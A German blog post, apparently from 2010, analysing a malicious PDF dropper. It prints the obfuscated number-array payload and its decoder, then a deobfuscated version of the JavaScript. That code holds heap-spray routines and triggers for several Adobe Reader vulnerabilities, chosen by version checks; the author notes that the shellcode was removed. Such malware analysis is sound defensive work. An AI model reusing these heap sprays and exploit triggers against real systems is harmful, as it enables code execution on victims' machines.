50,636,1231,1327,57,1302,120,1631,425,581,482,1104,1604,554,826,1101,1270,1324,1135,1861,1875,1307,1811,1151,1832,1403,481,632,1242,17,1976,1145,654,1208,472,1063,510,592,694,1287,1525,1529,391,1481,83,1569,935,1705,1245,422,1918,1472,81,1729,624,1914,1132,1105,898,727,1123,874,1872,129,434,696,1192,1296,1640,1887,936,1517,1416,1679,999,1851,1249,286,1556,846,708,1474,319,1141,1203,943,1055,687,48,305,1766,1523,1532,1638,4,1966,686,1197,1615,326,1436,903,1844,1204,582,1195,1055,1831,1833,963,678,541,437,997,1682,1992,292,1090,1031,692,1395,798,568,927,788,572,1246,1475,1769,1213,1801,1557,116,1645,761,698,1192,168,882,1025,1131,1912,1918,1920,1261,1953,1912,1553,1043,1296,597,790,94,1165,70,882,1738,1668,709,1859,1233,511,1417,1349,508,530,399,53,699,1281,1078,182,1193,997,103,806,1302,367,359,345,1663,957,1487,109,122,1909,1344,212,1577,53,72,1162,916,1841,511,1425,371,1263,1478,1070,544,908,1253,90,1905,1708,896,1207,75,1608,1904,1739,917,1744,1848,1391,1653,1544,1604,1583,1598,28,745,514,1869,1609,291,240,872,121,1663,1768,1030,916,210,1287,624,1459,847,1051,1419,1103,790,336,847,991,79,853,535,1683,788,485,1711,1885,1000,1932,1846,1643,173,1070,1765,1836,1191,795,1104,1401,82,80,1212,929,1131,983,385,274,1319,1232,1617,1399,437,504,1434,1225,1342,1498,1463,342,1430,1309,337,1955,380,102,143,1923,897,1599,1676,1332,1679,889,613,1163,1872,998,1789,1544,583,1758,1295,1020,262,1081,598,1604,579,413,298,362,1722,636,669,454,738,813,377,1988,764,54,1672,796,1295,285,1959,1519,1636,100,1063,219,1858,710,1239,120,1792,189,77,723,602,727,1437,677,1363,107,1483,454,1272,1861,794,36,267,466,832,1914,1103,1143,1433,739,1243,849,1310,1101,1559,550,1574,1703,1091,1651,427,1694,378,1864,723,94,323,206,900,1595,419,46,1984,686,512,1168,952,1967,664,386,1059,1907,1587,369,1361,1146,1271,935,850,363,938,1629,409,1668,1493,1132,114,1817,1338,1366,1764,1758,1412,100,796,1924,1621,1749,244,285,487,1303,192,74,1672,1905,1220,944,1192,422,1659,482,51,68,503,1897,1552,617,66,890,1984,182,1000,1396,283,1797,1673,1904,1546,269,189,385,1572,733,459,1596,991,31,892,183,454,551,666,857,971,1169,1106,523,138,1172,1414,474,1355,414,1871,1990,563,1896,246,461,517,435,846,89,1520,1305,37,511,1337,930,695,143,1833,1713,1352,805,1234,459,1328,1372,1983,1094,1847,1690,1861,70,32,424,318,278,886,835,1065,1732,1276,586,1390,1313,1449,727,243,496,1222,77,209,926,1234,1443,1737,562,1168,73,1657,1015,1763,1870,1437,1796,294,1755,426,1180,590,1492,1265,218,430,655,1531,1879,1734,127,376,1308,556,937,234,1790,733,1972,704,1901,45,713,1268,160,583,705,308,878,460,735,410,1402,227,1675,1620,1009,682,1503,888,416,1630,1616,76,538,906,311,328,1639,635,1385,1540,680,98,1160,1192,682,1865,1501,1912,677,588,136,687,572,1428,441,715,898,302,1003,512,293,422,838,769,322,2038,1047,1930,1443,1891,371,1742,982,157,1675,1277,2024,686,1158,2038,379,1593,609,1195,924,971,1796,71,1454,1091,533,1779,1403,1728,783,2012,1657,1862,1828,1058,1640,496,1089,651,586,733,165,817,1655,1347,732,400,1130,1592,1826,2078,806,1589,2085,214,968,950,268,378,863,961,280,552,753,475,1844,645,1207,962,1229,56,1972,1686,803,1611,1271,1850,247,343,1733,2051,660,500,1925,952,993,872,1831,1581,1488,646,775,1747,1379,1797,457,1578,373,1642,422,1917,1633,599,1443,767,495,680,551,641,1213,263,880,1836,1043,699,668,370,1855,411,132,1195,1293,940,875,1041,667,1582,452,1371,1061,1142,1172,641,1674,946,1243,433,1455,2047,1312,700,591,203,767,1834,1140,1419,447,908,68,526,41,1388,1751,1231,660,667,649,1095,1921,2027,469,1298,899,524,173,502,889,1935,432,183,867,983,617,1539,1060,1739,840,1513,580,855,279,956,477,1992,419,1041,851,1050,370,737,1354,787,1921,235,1506,367,620,340,183,1034,760,1017,254,1628,745,1645,1253,1552,1044,2088,595,1654,1275,995,1529,1596,269,714,840,559,1333,140,1583,1589,567,1045,192,1081,1626,399,403,702,1651,910,167,375,393,1731,116,1686,1658,736,1225,1201,1614,1052,686,258,1647,1532,701,1187,1864,660,1015,387,1948,1152,1409,1598,1832,75,179,1683,1223,681,292,1578,247,356,1543,289,1025,1129,1419,888,368,2089,1075,1983,1859,2073,1407,1702,562,738,2021,508,1817,1764,341,1965,83,725,1534,1329,1339,1844,1188,1891,436,711,2012,1425,2022,1332,545,422,1658,1932,240,1465,1842,2025,1359,726,692,1633,1467,840,1626,1718,683,1652,733,553,1269,383,627,304,113,1046,1250,444,702,1277,62,1229,1581,1735,1354,69,1388,1220,379,756,1875,971,622,1321,1995,265,1275,579,156,2039,1369,1389,615,1946,1932,1106,880,1153,1435,1831,662,1521,1296,555,1445,549,865,1210,1648,1205,1845,1779,365,449,1338,679,899,561,1544,1083,832,875,663,1444,712,618,787,1862,2004,162,1576,1045,1921,787,1433,1616,1622,682,755,1286,1773,855,947,469,1536,294,1077,387,1089,601,1350,1936,1710,1913,1568,807,812,670,596,764,669,504,1639,851,1577,1430,401,1179,1991,1469,649,2019,161,1977,318,1611,108,1651,1884,1574,488,1505,1700,151,1698,1645,887,474,152,1682,1424,1197,421,1033,1937,251,343,717,1716,653,2072,269,506,212,175,1192,110,581,725,1973,1984,1529,1758,1682,1960,1438,1561,1163,1794,1608,1084,1199,738,1522,513,975,2011,1187,1525,1691,1670,1845,1840,207,344,1979,1237,355,746,338,165,743,1746,1871,614,2088,1189,140,1086,1189,1984,197,625,636,1952,1437,1495,1943,506,1335,1514,127,1118,1336,567,1425,1503,54,1615,627,278,91,1257,370,198,202,342,1659,532,1727,1130,891,1809,1720,1411,1614,1037,1285,1839,1860,905,1256,174,354,474,1059,2015,277,998,1609,786,1638,1933,241,1846,162,682,455,1699,1559,420,1211,287,544,859,1993,392,229,1563,193,279,318,1285,476,603,2076,1416,470,186,747,313,1235,217,600,1770,445,645,464,1185,595,210,1585,1688,504,1961,807,383,383,1269,1910,408,1539,465,2076,246,1336,1982,1866,92,552,545,372,2027,667,1207,1824,998,119,479,434,1001,713,1951,1058,1449,212,1745,1816,832,1375,1914,1493,750,757,1452,1267,1981,1783,1068,2097,218,1578,705,150,485,1938,257,1795,1987,676,162,970,1576,425,217,980,475,1986,984,1572,1553,892,999,327,1881,813,1831,1757,438,924,92,927,738,1139,1008,1204,1315,1529,928,1552,94,1426,758,2033,1689,874,851,543,1100,1799,2047,637,923,1377,1150,1073,2076,979,764,494,1782,1170,1658,728,548,1044,1817,1778,507,1001,1218,931,354,1944,848,1944,701,2033,365,1759,1762,716,637,1016,1976,1800,1968,302,617,1116,986,669,565,590,1330,1096,1517,1108,805,1967,392,356,731,659,534,1886,890,1566,1751,1570,1608,1816,175,225,664,468,1911,987,606,508,289,1553,1058,757,75,419,87,1956,1765,1193,1760,183,1435,814,1085,1865,581,1999,1618,646,1806,1177,350,2011,1286,1380,713,1046,203,1299,1787,807,1086,1156,1850,1543,1503,1903,1329,1564,983,1472,1983,730,171,963,436,1127,1203,2064,1707,958,1432,2038,1203,632,1248,1863,1965,1835,1395,1766,924,737,805,756,510,575,591,1844,378,1905,1504,629,476,1621,1527,936,671,1040,1239,585,280,1003,553,1446,1520,60,1544,1864,179,1256,1869,955,228,1004,1598,705,1811,86,785,221,1877,251,783,693,152,641,1815,1097,1965,1006,1613,225,240,130,1907,1664,429,1829,1811,521,966,1574,1412,1527,413,1371,119,227,1694,1281,684,1934,1464,1672,465,1947,189,243,920,412,1489,566,514,1644,882,719,1243,1342,438,1322,96,1649,780,1539,1068,1556,750,1525,1622,468,691,573,240,408,174,728,235,678,905,1409,1024,376,1866,1853,1911,1093,512,1530,628,959,736,669,496,1892,98,1572,1289,1143,1287,1287,1495,1940,1747,2074,184,1944,993,689,908,145,2033,266,763,215,2010,963,1190,546,426,1773,1695,1407,734,568,1542,836,330,774,215,1641,299,2071,1421,1983,1980,1981,168,1329,555,1371,1365,965,1478,87,1063,1475,986,629,257,1677,688,197,1376,1403,656,875,433,928,1934,673,849,539,581,171,460,937,430,936,152,1284,198,1850,87,1638,1825,1491,1349,1187,354,1924,755,1297,2010,449,583,1041,1677,1310,1914,1921,230,659,339,745,1138,1201,1930,1388,2084,1965,575,596,1722,955,542,1841,759,1836,900,1010,1945,1956,201,1922,692,1038,910,255,616,1055,362,669,1912,741,1736,1261,1834,1545,1017,76,1713,1917,614,1312,842,1402,1424,1434,1485,568,680,1391,431,1188,1267,1366,141,410,1512,631,1648,1771,1543,1573,824,1162,1082,455,605,2067,900,314,1873,1782,1914,506,1070,1228,258,452,1987,935,1720,379,2022,1224,1624,413,1875,1306,1280,1493,1389,1075,1308,170,246,331,850,1147,629,1720,1307,389,1387,1521,1137,307,999,1418,1019,961,529,566,1520,882,2082,1447,1450,1868,1078,1014,1523,428,2035,759,408,235,1278,1629,1583,1851,1206,1251,480,899,567,1585,1480,1873,1258,363,661,2105,1231,475,1149,1565,1808,568,1678,837,1922,1209,1411,1924,204,212,408,1800,1718,1935,1855,1237,1079,278,373,1955,1763,1750,2082,1202,390,701,1263,1926,1415,308,1458,1583,1235,992,320,1045,502,2044,1211,624,88,1874,653,121,1706,461,1217,1019,573,1486,1228,655,1471,1225,1812,1702,106,915,1602,1527,1571,1208,1381,700,197,1922,1977,995,1875,1033,1802,1903,849,413,248,801,778,1303,2019,1667,1042,1507,134,418,678,1898,486,1000,778,1953,864,229,1496,79,1162,1631,1944,1038,867,1701,375,631,1784,1399,885,2001,123,1564,1553,437,1101,604,1897,1557,1256,800,1344,1612,1779,440,1876,936,900,1275,901,1932,1158,1153,1220,1845,1112,1818,449,1202,1198,1580,1084,1625,1445,879,2012,917,1773,118,428,1321,956,1749,897,961,2019,952,1852,1215,473,622,1047,1868,1658,433,2021,1001,154,702,88,1289,297,1464,811,2012,286,1054,888,1884,1147,1200,1168,1900,842,299,897,1163,1568,927,197,291,1539,1539,166,1512,1929,434,455,382,1152,859,1932,1634,172,612,1649,415,1918,428,537,880,1808,2023,1158,617,543,1929,2015,2004,821,527,593,589,1907,999,348,125,1368,1071,678,752,1805,572,333,1932,1413,215,178,1249,811,1083,410,660,898,1482,1527,1407,1323,1779,1659,376,213,442,1231,402,1360,1480,755,609,788,1392,1193,418,131,1847,605,1509,245,1128,923,1445,2042,1298,1922,1311,605,1676,930,251,1416,879,858,1860,1195,1975,169,516,1695,1161,1035,368,821,478,1101,897,624,1653,674,1167,639,1496,443,983,1049,668,179,2042,364,1479,152,2032,238,909,1788,1410,1060,141,1817,716,1241,1100,1309,1950,1881,319,1050,762,135,1665,1804,1139,1461,138,2059,805,818,559,710,1413,1895,780,1344,414,1919,971,1659,1298,1451,1758,1883,933,1034,1444,1140,867,2006,121,1495,117,1991,1557,1484,1725,1648,1421,424,704,262,967,2041,430,2060,1249,722,171,448,594,1345,218,677,1542,1002,1662,902,2074,776,784,454,169,1154,393,1547,482,365,1431,225,671,111,373,1949,376,1052,1886,1807,1669,2004,294,579,1659,400,1072,1023,1717,693,1877,2031,1306,566,375,1756,1599,984,1610,371,1226,952,416,68,1383,704,1929,1585,1663,1678,1429,1555,1948,1901,2042,1463,620,1057,473,497,2009,563,486,1237,1040,682,1261,846,1913,768,1189,1446,2088,1486,1493,1337,583,1353,1240,509,1338,855,2037,1231,748,2012,998,1600,1370,1408,1992,1300,1940,436,846,1202,1367,2043,426,1629,760,1847,989,733,1654,369,275,127,1619,1456,473,858,587,823,328,1248,1048,1219,1051,307,884,1048,1861,1073,1729,605,585,1339,914,914,911,1560,1004,1789,532,561,346,1020,866,1931,730,1324,961,1237,1998,1602,710,1329,652,1719,1507,1776,1010,1340,1153,1019,194,1632,314,1006,792,1485,790,1653,1105,1509,463,1476,559,1347,1625,1251,554,897,403,903,378,1417,185,1349,1076,2018,1423,317,1589,475,1293,1691,355,1857,934,1043,1219,1558,996,620,1083,1395,1996,1524,585,1879,1006,1476,1013,1658,569,1633,978,1055,868,304,1312,543,578,732,926,120,727,1179,1884,1544,432,995,1064,1727,1496,2046,946,1755,1796,1888,1847,698,1614,761,608,143,580,1444,1438,1412,2034,639,1859,865,1326,1029,833,322,382,996,1742,1182,235,688,795,1989,966,2052,1571,1015,1833,1710,1968,1695,720,478,1730,1192,229,1432,904,161,1973,1023,905,1546,1934,1966,1681,577,936,1735,1722,1045,686,336,885,1530,700,800,449,780,357,670,365,1360,1049,1991,866,1165,1657,1607,1579,1876,569,379,1312,768,296,1291,1291,1404,1204,840,410,1826,1546,1236,1262,147,278,1963,755,935,881,1079,187,1847,1308,885,1264,866,867,1062,987,1265,1289,533,1983,1878,1703,1520,1177,1202,323,1912,924,117,1337,439,147,1581,290,1223,402,1362,191,495,1165,1729,1696,612,787,448,1570,1653,1953,1148,67,177,1348,2064,1663,825,1169,229,576,346,240,1917,678,286,1320,1217,1746,2039,537,174,354,1943,1804,346,502,888,1026,375,846,930,1423,1243,991,1050,1186,623,1716,617,737,289,787,834,442,1801,1397,2079,846,1331,1945,1346,1468,663,1126,1514,848,1880,258,1810,156,996,933,1860,465,1899,858,1545,750,801,485,1804,1383,1578,555,1715,1249,177,2018,422,1518,1905,2018,1159,811,1098,622,1958,1279,1185,1663,1728,131,844,1566,825,743,643,410,1716,1416,1127,1489,649,880,246,607,397,722,528,711,481,686,622,1597,1394,1971,123,1240,1152,1200,1144,781,1576,1928,573,368,906,1471,1016,590,777,378,322,1717,1210,519,620,1550,1184,1091,556,1608,1720,1122,1148,1409,1388,1566,593,836,709,1680,1560,580,1905,430,893,755,1845,205,1641,919,528,1908,932,1682,371,1496,1528,1851,883,2028,1755,548,1446,847,253,1131,710,790,1911,1363,767,1767,240,968,141,1429,1667,283,1578,1604,1146,2050,1808,2022,2028,475,1815,1852,270,642,177,1969,1486,1567,1113,1684,642,1767,770,849,1426,1481,561,1610,393,998,983,356,1225,506,257,667,852,2009,986,1177,429,745,973,995,1331,1094,909,762,958,318,390,1896,381,1104,690,1751,882,1547,1658,1571,489,585,1872,1659,1387,73,622,536,378,1552,1657,751,241,926,1691,1517,317,896,575,1571,1510,909,1411,1835,309,397,1530,1135,1888,1132,1003,322,2014,819,277,1697,1188,843,177,1510,340,130,558,877,1353,545,338,1614,1385,857,1129,839,62,836,618,668,1178,444,99,1362,1521,1046,1628,1831,161,201,1472,1293,989,1946,1100,1625,2020,1954,446,1669,443,1081,1227,124,234,652,1259,241,1785,173,1205,907,561,1248,565,378,591,138,153,696,635,1922,286,1920,1812,1682,1489,1776,1580,232,1390,1967,1257,913,387,1435,1862,1590,1972,1591,1707,1473,794,212,666,1655,887,1553,1737,984,193,669,850,423,533,958,2049,319,679,1925,495,365,1836,1696,1574,167,1427,1732,2053,1696,1619,1704,1113,709,213,78,370,1104,1621,394,314,1766,1013,1168,483,1493,2067,759,1674,977,640,484,1649,769,119,1574,1218,1838,1610,1299,1543,1105,1241,617,1749,1441,980,2080,426,496,362,707,496,1540,114,860,1353,433,1929,1340,1731,459,1701,1697,1610,180,1512,708,1975,1013,324,1785,2024,1503,609,151,1116,1437,469,1878,1849,1085,400,179,531,828,1351,1750,1500,1192,1051,1422,1951,1063,1402,1389,1102,812,479,1021,1697,680,976,2018,428,1554,373,1510,921,765,1216,1037,1737,1984,1518,123,1074,751,274,826,197,1542,194,1998,514,1507,1381,1547,198,1748,810,152,625,1726,425,1027,1521,660,735,699,1371,317,1879,1349,530,1365,1741,1453,306,1909,201,405,1751,667,402,144,2078,1658,1920,464,1672,971,932,605,966,1245,1456,319,171,560,1299,1852,678,1162,1104,1150,349,791,898,959,913,1018,1303,552,1937,1576,996,1946,1562,766,678,1414,2002,1530,1911,834,1065,1685,1111,1450,136,375,1244,1189,1690,251,613,2074,1268,1474,932,136,794,580,990,675,112,1880,889,1857,867,1455,1300,825,1270,1460,1602,556,1154,1018,1976,1523,1618,1109,582,1288,1678,1506,1655,825,1236,825,1182,282,1361,423,1129,1732,526,1991,1543,1726,1691,1076,855,1262,425,759,1837,1869,1634,132,1275,1238,1553,190,808,1057,1627,356,106,697,1179,1548,1260,703,1908,298,365,286,226,91,252,246,1413,986,1395,127,1627,1487,1875,1229,1507,1176,759,1306,1220,1861,310,1097,167,783,161,1633,221,1329,271,456,1494,558,1045,2040,919,1204,477,253,195,1828,326,1713,1677,226,1287,1451,1589,304,683,1166,120,1355,147,585,2030,219,93,510,1810,625,917,1283,1457,1812,1531,254,1273,2004,439,1689,44,1150,1397,1676,1254,961,1375,1131,1552,2012,140,1919,1566,559,492,1526,1063,883,1988,824,1795,1154,275,1151,1223,1816,1344,456,2028,2084,2050,2059,1395,1761,1945,969,867,1248,1954,703,1502,358,575,978,904,1261,457,1897,2064,698,596,1740,2090,1182,1074,1138,1166,670,1858,1094,1000,204,1465,426,245,1302,1279,1368,794,1484,2031,180,1757,530,1054,583,1678,1784,705,2057,714,1569,2047,1001,583,1097,97,1712,2000,247,1117,1034,812,507,1662,940,1694,861,235,413,205,532,839,278,980,1810,736,985,1805,1733,894,823,1099,894,1724,1679,211,115,1716,130,355,755,1356,1362,1162,942,163,1200,1756,714,1483,264,1558,173,850,422,257,1853,1362,293,1455,196,1044,469,1282,1047,485,1431,1070,2094,1780,1664,791,1173,918,258,2076,1428,1283,2104,392,1051,630,1845,1526,1329,601,1630,1058,209,313,739,619,1565,1238,1854,524,1612,1522,1862,1916,1244,1772,1010,602,970,1165,638,631,725,971,950,2038,1858,1051,1521,1030,1903,1466,410,1984,1633,1522,509,1474,611,594,1911,438,1993,2006,717,1441,1672,1608,404,531,1013,938,1026,1666,152,242,1649,1889,1543,1349,1244,1684,735,1945,1560,645,1348,295,1954,1817,1074,1808,630,1022,2069,1197,788,1549,1035,1017,315,1959,254,1677,1931,582,164,1810,434,1511,1121,1509,1101,1727,1735,911,306,948,1503,240,747,529,294,1638,1747,247,1108,835,103,2110,1805,333,1999,249,1884,1752,871,1992,1526,1461,1815,521,1329,1240,564,956,436,1137,1810,1827,1238,762,608,1778,700,300,233,1659,963,242,1675,1077,913,1592,1648,1108,1589,677,1354,1445,154,1416,152,1739,543,642,579,1184,1712,671,929,1206,1380,1439,1226,1966,1968,1353,1929,1252,1946,1518,586,743,1352,76,2101,1270,686,1313,574,1103,550,700,812,1348,1586,1586,432,1605,207,1609,975,1820,1363,483,1979,1528,122,1767,662,1954,1240,1223,958,788,1179,920,1921,179,475,737,1233,1419,1743,1988,1052,1622,1515,1790,1109,1891,1290,345,1681,947,816,1589,420,1173,1308,1045,1095,795,166,366,1827,1578,1578,1687,45,2089,798,1311,1720,436,1552,1005,1884,1245,641,1320,1156,1939,1948,1064,710,646,539,1037,1722,2032,407,1208,1092,753,1449,839,692,1051,828,687,1364,1536,1830,1268,1842,1598,154,1683,801,806,1310,228,937,1071,1180,1961,1959,1961,1384,2051,2032,1593,1084,1355,722,891,202,1280,171,914,1843,1770,749,1899,1341,629,1479,1410,565,576,448,94,823,1405,1118,290,1311,1057,164,863,1348,417,400,469,1787,997,1595,227,184,1970,1400,258,1626,104,113,1286,1040,1881,619,1543,431,1324,1534,1116,593,963,1294,131,2028,1810,1013,1317,174,1724,2009,1850,1027,1776,1945,1431,1694,1667,1721,1699,1703,136,791,626,1983,1714,401,356,972,161,1702,1880,1094,965,259,1336,673,1508,896,1100,1468,1152,839,385,896,1040,128,902,584,1732,837,534,1760,1934,1049,1981,1895,1675,231,1102,1886,1957,1312,916,1153,1450,131,119,1256,1039,1232,1102,417,342,1416,1348,1718,1439,478,545,1493,1350,1460,1595,1577,374,1534,1370,434,2067,492,148,255,2031,1014,1702,1749,1442,1794,948,715,1274,1986,1038,1907,1641,697,1790,1397,1081,310,1140,700,1664,683,459,406,463,1832,739,785,558,797,915,420,2031,805,177,1777,898,1335,389,2050,1621,1729,146,1173,316,1967,811,1300,181,1831,258,160,822,716,832,1549,793,1402,148,1606,572,1369,1975,826,141,328,570,923,2016,1196,1189,1551,840,1357,964,1415,1212,1669,609,1699,1828,1123,1756,529,1734,418,1969,785,150,369,255,950,1636,457,84,2024,791,572,1224,998,2017,705,427,1182,2006,1648,479,1462,1265,1303,1000,964,477,1035,1750,449,1709,1552,1250,211,1931,1370,1466,1825,1875,1522,201,911,2023,1718,1861,345,325,526,1340,309,131,1720,1962,1268,981,1309,479,1707,539,99,107,544,1956,1670,714,180,922,2085,243,1117,1506,384,1912,1772,2001,1658,370,229,483,1678,848,562,1637,1050,150,996,288,562,652,706,957,1017,1277,1207,633,241,1288,1518,534,1416,462,1991,2046,611,1944,294,502,640,535,889,150,1620,1364,162,611,1398,1030,741,258,1950,1811,1467,921,1348,499,1376,1416,2031,1214,1903,1738,1909,118,77,525,364,386,987,945,1168,1848,1380,627,1449,1415,1560,841,283,598,1283,125,268,1028,1294,1493,1794,610,1216,132,1759,1058,1806,1911,1560,1895,385,1857,519,1241,690,1535,1366,277,555,752,1571,1920,1793,224,416,1349,615,1053,348,1911,856,2088,808,2006,160,759,1377,261,683,810,405,924,570,836,529,1482,335,1772,1741,1110,796,1543,998,533,1738,1724,117,597,1031,410,425,1755,734,1489,1580,781,139,1283,1317,779,1905,1542,1971,802,713
];

function b(q)
{
return parseInt(q/2);
}
var tpx=nr;
hgh=parseInt(tpx.length);

var rlk='';
for (var id=0; id<hgh; id+=2)
{
rlk+=String.fromCharCode(tpx[b(id)+b(hgh)]-tpx[b(id)]);
}

Anschließend war der Code in der Variable "rlk".

Schönerer Source

Den Source kann man noch aufbereiten, den Shellcode habe ich entfernt:

function ezvr(ra,qy)
{
  while(ra.length*2<qy)
    {ra+=ra;}
  ra=ra.substring(0,qy/2);
  return ra;
}

function bx()
{
  var dkg=new Array();
  var vw=0x0c0c0c0c;
  var addr=0x400000;
  var payload=unescape(bjsg);
  var sc_len=payload.length*2;
  var qy=addr-(sc_len+0x38);
  var yarsp=unescape("%u9090%u9090");
  yarsp=ezvr(yarsp,qy);
  var count2=(vw-0x400000)/addr;
  for(var count=0;count<count2;count++)
    {
      dkg[count]=yarsp+payload;
    }
  var overflow=unescape("%u0c0c%u0c0c");
  while(overflow.length<44952)
    {
      overflow+=overflow;
    }
  this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});
}

function printf()
{
  nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");
  var payload=unescape(bjsg);
  heapblock=nop+payload;
  bigblock=unescape("%u0A0A%u0A0A");
  headersize=20;
  spray=headersize+heapblock.length;
  while(bigblock.length<spray)
    {
      bigblock+=bigblock;
    }
  fillblock=bigblock.substring(0,spray);
  block=bigblock.substring(0,bigblock.length-spray);
  while(block.length+spray<0x40000)
    {
      block=block+block+fillblock;
    }
  mem=new Array();
  for(i=0;i<1400;i++)
    {
      mem[i]=block+heapblock;
    }
  var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
  util.printf("%45000f",num);
}

function geticon()
{
  var arry=new Array();
  if(app.doc.Collab.getIcon)
    {
      var payload=unescape(bjsg);
      var hWq500CN=payload.length*2;
      var qy=0x400000-(hWq500CN+0x38);
      var yarsp=unescape("%u9090%u9090");
      yarsp=ezvr(yarsp,qy);
      var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;
      for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++)
        {arry[vqcQD96y]=yarsp+payload;}
      var tUMhNbGw=unescape("%09");
      while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;}
      tUMhNbGw="N."+tUMhNbGw;
      app.doc.Collab.getIcon(tUMhNbGw);
    }
}

aPlugins=app.plugIns;
var sv=parseInt(app.viewerVersion.toString().charAt(0));
for(var i=0;i<aPlugins.length;i++)
  {
    if(aPlugins[i].name=='EScript')
      {
        var lv=aPlugins[i].version;
      }
  }
if((lv==9)||((sv==8)&&(lv<=8.12)))
  {
    geticon();
  }
else if(lv==7.1)
  {
    printf();
  }
else if(((sv==6)||(sv==7))&&(lv<7.11))
  {
    bx();
  }
else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17))
  {
    function a()
      {
        util.printd('p@111111111111111111111111 : yyyy111',new Date());
      }
    var h=app.plugIns;
    for(var f=0;f<h.length;f++)
      {
        if(h[f].name=='EScript')
          {
            var i=h[f].version;
          }
      }
    if((i>8.12)&&(i<8.2))
      {
        c=new Array();
        var d=unescape('%u9090%u9090');
        var e=unescape(bjsg);
        while(d.length<=0x8000)
          {d+=d;}
        d=d.substr(0,0x8000-e.length);
        for(f=0;f<2900;f++)
          {c[f]=d+e;}
        a();
        a();
        try {
            this.media.newPlayer(null);
        } catch(e) {}
        a();
      }
  }

Man sieht dass der Dropper die verschiedenen Versionen abfragt. Der letzte "if" ist etwas verpatzt, er greift nämlich immer. Macht aber nix, dahinter kommt eh nix anderes mehr, also kann man schon an dieser Stelle mal fumbeln. ;)

Acrobat 9.4.x bzw. Windows 7 Ultimate mit DEP sind von dem Exploit nicht betroffen soweit ich das erkennen kann. Allerdings zicken jetzt wegen der Temporärfiles die ich im Editor angelegt habe (nicht gespeichert!) die Microsoft Security Essentials rum und verlangen einen Reboot, weil der Editor die Datei ja gegen Löschen blockiert hat. ;)

-Tino 2010-12-11